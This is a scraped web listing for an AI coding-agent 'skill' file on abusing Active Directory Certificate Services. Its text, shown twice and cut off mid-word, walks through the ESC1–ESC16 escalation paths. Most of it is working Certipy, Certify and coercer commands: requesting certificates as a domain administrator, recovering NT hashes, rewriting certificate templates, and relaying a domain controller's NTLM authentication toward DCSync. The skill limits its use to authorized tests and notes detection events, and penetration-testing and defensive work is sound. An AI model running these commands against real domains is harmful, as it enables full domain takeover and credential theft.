/abusing-adcs
Enumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes
$ npx -y skills add trilwu/secskills --skill abusing-adcs --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/abusing-adcs
Context preview
The summary Claude sees to decide when to auto-load this skill.
Enumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes
SKILL.md
abusing-adcs.SKILL.mdname: abusing-adcs
description: Enumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes that gate several of them. Use when a domain has a certificate authority, when Certipy or BloodHound reports vulnerable templates, or when escalating from a low-privilege domain user.
verified: 2026-07-27
Abusing AD CS
A certificate authority in an Active Directory domain is usually the shortest path from a standard user to domain administrator, because certificate templates are permission objects that almost nobody audits. A single template that lets the enrollee supply their own subject name is a full domain compromise, and it is the default on more networks than it should be.
Only against domains you are authorized to test.
When to Use
- The domain has a CA (`pKIEnrollmentService` objects exist)
- `certipy find` or BloodHound reports vulnerable templates
- You have any domain credential and need a privilege escalation path
- You need durable domain persistence that survives a password reset
- Reviewing PKI configuration defensively
When NOT to Use
- **General AD attacks** (Kerberoasting, DCSync, lateral movement) — use
`attacking-active-directory`
- **Delegation abuse** — use `attacking-kerberos-delegation`
- **Entra ID / cloud PKI** — use `attacking-entra-id`
- **Detecting these attacks** — use `engineering-detections`; certificate
request events (4886/4887) are the primary telemetry
Enumerate First
# Certipy — the standard tool; run this before anything else
certipy find -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 -vulnerable -stdout
certipy find -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 -old-bloodhound
# From Windows
Certify.exe find /vulnerable
Certify.exe cas # CA hosts, flags, and enrollment endpoints
`certipy find -vulnerable` names the ESC number directly, which is why it is the first command. Read the output for: who can enroll, whether the requester supplies the subject, which EKUs are present, and whether manager approval is required.
The Escalation Paths
Grouped by what is misconfigured, because the fix and the detection differ.
Template misconfiguration — the common cases
| ID | Condition | Result | | --- | --- | --- | | **ESC1** | Enrollee supplies subject (`ENROLLEE_SUPPLIES_SUBJECT`) + client-auth EKU + low-priv enrollment + no approval | Request a cert *as any user*, including a domain admin | | **ESC2** | Any Purpose EKU (or no EKU) + low-priv enrollment | Cert usable for client auth; same outcome as ESC1 | | **ESC3** | Certificate Request Agent EKU | Enroll on behalf of another user | | **ESC9** | `CT_FLAG_NO_SECURITY_EXTENSION` set | Cert lacks the SID binding, enabling weak-mapping abuse | | **ESC15** | v1 template with enrollee-supplied subject, application policies injectable | Client auth via application policy, bypassing the EKU restriction |
# ESC1 — the canonical path
certipy req -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 \
-ca 'CORP-CA' -template 'VulnTemplate' -upn 'administrator@domain.local'
# Authenticate with the certificate and recover the NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
# → TGT plus the account's NT hash
Access-control misconfiguration
| ID | Condition | Result | | --- | --- | --- | | **ESC4** | You have write over a template object | Reconfigure it into an ESC1 template, use it, then restore | | **ESC5** | Write over PKI objects, CA computer object, or the container | Various, up to CA control | | **ESC7** | `ManageCA` or `ManageCertificates` on the CA | Enable ESC6, or approve your own pending request |
# ESC4 — make it vulnerable, use it, put it back
certipy template -u user@domain.local -p 'Password' -template 'WriteableTemplate' -save-old
# ... request as in ESC1 ...
certipy template -u user@domain.local -p 'Password' -template 'WriteableTemplate' -configuration WriteableTemplate.json
**Restoring the template is not optional.** Leaving a template in a vulnerable state is a real change to the client's security posture, and doing so unannounced is a finding against you, not them. `-save-old` first, restore immediately, and record both actions with timestamps.
CA misconfiguration
| ID | Condition | Result | | --- | --- | --- | | **ESC6** | `EDITF_ATTRIBUTESUBJECTALTNAME2` on the CA | Any template becomes subject-suppliable | | **ESC16** | Security extension disabled CA-wide | Every issued cert lacks SID binding |
# Check the CA flags
certutil -config "CA-HOST\CORP-CA" -getreg policy\EditFlags
Relay paths
| ID | Condition | Result | | --- | --- | --- | | **ESC8** | Web enrollment (`/certsrv`) reachable, no EPA/HTTPS binding | Relay NTLM to enrollment, get a cert for the relayed machine | | **ESC11** | `ICertPassage` RPC without packet integrity | Relay over RPC instead of HTTP |
# ESC8: coerce authentication from a DC, relay it to web enrollment
certipy relay -ca 10.0.0.20 -template DomainController
# in another shell, coerce:
coercer coerce -u user -p 'Password' -t 10.0.0.10 -l 10.0.0.100
# or PetitPotam / printerbug
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10 # → DC machine account → DCSync
Certificate mapping
| ID | Condition | Result | | --- | --- | --- | | **ESC10** | Weak certificate mapping registry values | Impersonate via UPN or altSecurityIdentities | | **ESC13** | Template with an issuance policy linked to a group | Cert grants that group's membership | | **ESC14** | Write access to `altSecurityIdentities` | Map your certificate to a target account |
**Strong certificate binding changes the picture.** After the May 2022 updates (KB5014754), domain controllers can require certificates to carry the SID security extensio
Read more
name: abusing-adcs description: Enumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes that gate several of them. Use when a domain has a certificate authority, when Certipy or BloodHound reports vulnerable templates, or when escalating from a low-privilege domain user. verified: 2026-07-27
Abusing AD CS
A certificate authority in an Active Directory domain is usually the shortest path from a standard user to domain administrator, because certificate templates are permission objects that almost nobody audits. A single template that lets the enrollee supply their own subject name is a full domain compromise, and it is the default on more networks than it should be.
Only against domains you are authorized to test.
When to Use
- The domain has a CA (`pKIEnrollmentService` objects exist)
- `certipy find` or BloodHound reports vulnerable templates
- You have any domain credential and need a privilege escalation path
- You need durable domain persistence that survives a password reset
- Reviewing PKI configuration defensively
When NOT to Use
- **General AD attacks** (Kerberoasting, DCSync, lateral movement) — use
`attacking-active-directory`
- **Delegation abuse** — use `attacking-kerberos-delegation`
- **Entra ID / cloud PKI** — use `attacking-entra-id`
- **Detecting these attacks** — use `engineering-detections`; certificate
request events (4886/4887) are the primary telemetry
Enumerate First
# Certipy — the standard tool; run this before anything else certipy find -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 -vulnerable -stdout certipy find -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 -old-bloodhound # From Windows Certify.exe find /vulnerable Certify.exe cas # CA hosts, flags, and enrollment endpoints
`certipy find -vulnerable` names the ESC number directly, which is why it is the first command. Read the output for: who can enroll, whether the requester supplies the subject, which EKUs are present, and whether manager approval is required.
The Escalation Paths
Grouped by what is misconfigured, because the fix and the detection differ.
Template misconfiguration — the common cases
| ID | Condition | Result | | --- | --- | --- | | **ESC1** | Enrollee supplies subject (`ENROLLEE_SUPPLIES_SUBJECT`) + client-auth EKU + low-priv enrollment + no approval | Request a cert *as any user*, including a domain admin | | **ESC2** | Any Purpose EKU (or no EKU) + low-priv enrollment | Cert usable for client auth; same outcome as ESC1 | | **ESC3** | Certificate Request Agent EKU | Enroll on behalf of another user | | **ESC9** | `CT_FLAG_NO_SECURITY_EXTENSION` set | Cert lacks the SID binding, enabling weak-mapping abuse | | **ESC15** | v1 template with enrollee-supplied subject, application policies injectable | Client auth via application policy, bypassing the EKU restriction |
# ESC1 — the canonical path certipy req -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 \ -ca 'CORP-CA' -template 'VulnTemplate' -upn 'administrator@domain.local' # Authenticate with the certificate and recover the NT hash certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10 # → TGT plus the account's NT hash
Access-control misconfiguration
| ID | Condition | Result | | --- | --- | --- | | **ESC4** | You have write over a template object | Reconfigure it into an ESC1 template, use it, then restore | | **ESC5** | Write over PKI objects, CA computer object, or the container | Various, up to CA control | | **ESC7** | `ManageCA` or `ManageCertificates` on the CA | Enable ESC6, or approve your own pending request |
# ESC4 — make it vulnerable, use it, put it back certipy template -u user@domain.local -p 'Password' -template 'WriteableTemplate' -save-old # ... request as in ESC1 ... certipy template -u user@domain.local -p 'Password' -template 'WriteableTemplate' -configuration WriteableTemplate.json
**Restoring the template is not optional.** Leaving a template in a vulnerable state is a real change to the client's security posture, and doing so unannounced is a finding against you, not them. `-save-old` first, restore immediately, and record both actions with timestamps.
CA misconfiguration
| ID | Condition | Result | | --- | --- | --- | | **ESC6** | `EDITF_ATTRIBUTESUBJECTALTNAME2` on the CA | Any template becomes subject-suppliable | | **ESC16** | Security extension disabled CA-wide | Every issued cert lacks SID binding |
# Check the CA flags certutil -config "CA-HOST\CORP-CA" -getreg policy\EditFlags
Relay paths
| ID | Condition | Result | | --- | --- | --- | | **ESC8** | Web enrollment (`/certsrv`) reachable, no EPA/HTTPS binding | Relay NTLM to enrollment, get a cert for the relayed machine | | **ESC11** | `ICertPassage` RPC without packet integrity | Relay over RPC instead of HTTP |
# ESC8: coerce authentication from a DC, relay it to web enrollment certipy relay -ca 10.0.0.20 -template DomainController # in another shell, coerce: coercer coerce -u user -p 'Password' -t 10.0.0.10 -l 10.0.0.100 # or PetitPotam / printerbug certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10 # → DC machine account → DCSync
Certificate mapping
| ID | Condition | Result | | --- | --- | --- | | **ESC10** | Weak certificate mapping registry values | Impersonate via UPN or altSecurityIdentities | | **ESC13** | Template with an issuance policy linked to a group | Cert grants that group's membership | | **ESC14** | Write access to `altSecurityIdentities` | Map your certificate to a target account |
**Strong certificate binding changes the picture.** After the May 2022 updates (KB5014754), domain controllers can require certificates to carry the SID security extensio
**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

